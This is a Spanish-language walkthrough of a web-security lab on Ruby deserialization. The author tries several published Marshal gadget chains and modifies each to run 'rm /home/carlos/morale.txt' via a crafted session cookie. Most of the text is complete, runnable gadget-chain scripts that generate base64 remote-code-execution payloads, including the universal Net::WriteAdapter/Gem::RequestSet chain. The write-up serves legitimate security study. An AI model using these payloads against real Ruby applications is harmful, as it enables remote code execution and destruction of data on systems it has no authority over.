๐ŸˆLaboratorio: Exploiting Ruby deserialization using a documented gadget chain

  • Se pone interesante este lab, primero que todo, sabemos que el lab contendrรก un framework de ruby on rails, mi tarea serรก investigar y encontrar el Gadget Chain que pueda ejecutar cรณdigo remoto y nos sirva para eliminar el archivo morale.txt que estรก en el directorio /home/carlos/morale.txt

La pistaโ€ฆ :)

Lo segundo importante serรก buscar cual es la versiรณn del framework de ruby en el laboratorio.

  • No la encontrรฉ, sin embargo creo que el ataque no va por una versiรณn especifica de ruby sino mรกs bien por el gadget chain RCE, encontrรฉ un repo documentado, se ve interesante:

Quick Recap

  • Marshal.dump means serialize

  • Marshal.load means unserialize

  • When an object of a class is serialized, marshal_dump method (if defined in class) is called.

  • When an object of a class is unserialized, marshal_load method (if defined in class) is called.

  • When a undefined method is called on an object, method_missing method (if defined in class) is called.

Importante saber esos datos, para el exploit que encontrรฉ:

De ese repo este fue el cรณdigo que pude encontrar para el RCE:

require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0  , :data => "<%= `touch /tmp/pwned.txt` %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)

module ActiveRecord
    module Associations
        class Association
            def marshal_dump
                # Gem::Installer instance is also set here
		# because it autoloads Gem::Package which is
		# required in rest of the chain
                [Gem::Installer.allocate,$a] 
            end
        end
    end
end

final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))

Ahora bien aqui vemos que crea un archivo en tmp que se llama pwned.txt realmente vamos por mรกs, en este caso debemos eliminar el archivo morale.txt del directorio home de carlos.

require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0  , :data => "<%= `rm /home/carlos/morale.txt` %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)

module ActiveRecord
    module Associations
        class Association
            def marshal_dump
                # Gem::Installer instance is also set here
		# because it autoloads Gem::Package which is
		# required in rest of the chain
                [Gem::Installer.allocate,$a] 
            end
        end
    end
end

final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))

Instalemos Ruby en mi macOS M1, con brew y luego instalamos las gemas que implementa este codigo, gemas parece que son como paquetes a importar en python.

brew install ruby
echo 'export PATH="/usr/local/opt/ruby/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
ruby -v ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin23]
#Lo cual es una version muy antigua de mi mac y no me estaba dejando instalar rails/all
#que es un paquete principal del codigo rce_ruby.rb, ENTONCES: 
#1. brew install rbenv
#2. rbenv init
#   echo 'eval "$(rbenv init - zsh)"' >> ~/.zshrc
#   source ~/.zshrc
#3. rbenv install 3.2.2
#   rbenv global 3.2.2
#   source ~/.zshrc
#   ruby -v Ahora si la versiรณn 3.2.2
#   gem install rails sprockets
#   ruby rce_ruby.rb

Ahora si:

Actualicรฉ las cookies y me arrojรณ esto:

Encontrรฉ otra pagina que estรก la veo como mรกs real que sea la apropiada ya que es de portswigger, del aรฑo 2018:

Y tienen un codigo que se habla en el blog: (Lo modifiquรฉ para la ejecuciรณn del sistema para eliminar el morale.txt)

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end

# Creamos el StubSpecification con un valor falso para @loaded_from
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|ruby -e 'system(\"rm /home/carlos/morale.txt\")'")

puts "STEP n"
stub_specification.name rescue nil
puts

class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts

$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts

class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts

puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts

require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Y me tiro un error en especifico:

La versiรณn parece ser: Ruby 2.7.0

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end

# Modificamos el valor de `@loaded_from` para ejecutar un comando directamente con `system`
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "system('rm /home/carlos/morale.txt')")

puts "STEP n"
stub_specification.name rescue nil
puts

class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts

$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts

class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts

puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts

require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Encontrรฉ otro site que me menciona otro code para la ejecuciรณn de RCE โ†’

Cรณdigo Original pero modificado para el Laboratorio borrando el archivo morale.txt:

require 'rails/all'
require 'base64'
# following three lines added for older versions of Ruby on Rails:
require 'rack/response'
require 'active_record/associations'
require 'active_record/associations/association'

require "yaml"
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

require 'bundler/inline'

gemfile do
  source 'https://rubygems.org'
  gem 'oj', require: true
end


d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0 = Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context, Sprockets::Context.allocate)

d1 = Gem::Security::Policy.allocate
# Modificamos la variable `@data` para inyectar el comando de eliminaciรณn del archivo
d1.instance_variable_set(:@name, { :filename => "/tmp/xyz.txt", :environment => d0, :data => "<%= os_command = 'rm /home/carlos/morale.txt'; system(os_command); %>", :metadata => {}})

d2 = Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c = Logger.allocate
c.instance_variable_set(:@logdev, d)

e = Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read, 2)
e.instance_variable_set(:@header, "bbbb")

b = Net::BufferedIO.allocate
b.instance_variable_set(:@io, e)
b.instance_variable_set(:@debug_output, c)

$a = Gem::Package::TarReader.allocate
$a.instance_variable_set(:@init_pos, Gem::SpecFetcher.allocate)
$a.instance_variable_set(:@io, b)

module ActiveRecord
  module Associations
    class Association
      def marshal_dump
        # Gem::Installer instance is also set here
        # because it autoloads Gem::Package which is
        # required in rest of the chain
        [Gem::Installer.allocate, $a]
      end
    end
  end
end

# Generaciรณn del payload en formato binario
final = ActiveRecord::Associations::Association.allocate
puts Base64.strict_encode64(Marshal.dump(final))

Efectivamente tampoco me funcionรณ, asรญ que con ello presente, tomarรฉ esta รบltima pagina que toma las versiones de Ruby 2.x - 3.x:

Que habla sobre la deserialization RCE Universal en todas las versiones de Ruby de 2.x-3.x donde menciona que la forma de invocar varios mรฉtodos magicos para crear el gadget chain y lograr la ejecuciรณn remota de cรณdigo es asรญ:

[**ActiveModel::AttributeMethods::ClassMethods::CodeGenerator**](<https://github.com/rails/rails/blob/v6.1.0.rc1/activemodel/lib/active_model/attribute_methods.rb#L369>) to achieve code execution.

Despuรฉs de echarle una ojeada al blog de eje man, el codigo resultante para poder ejecutar el RCE es haciendo la llamada el KernelSystem(Commands) module propio de Ruby:

Vamos a recrearlo tirandolo en mi vs code a ver:

Asรญ tal cual es como lo dejamos.

Lo ejecutamos en mycompiler.io

Actualizamos la cookie de wiener:peter en base64:

require 'net/http'  # Cargar la librerรญa de red estรกndar
require 'base64'

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

# Convert the payload to Base64
encoded_payload = Base64.encode64(payload)

puts "Payload en Base64 mi Papacho:"
puts encoded_payload

Last updated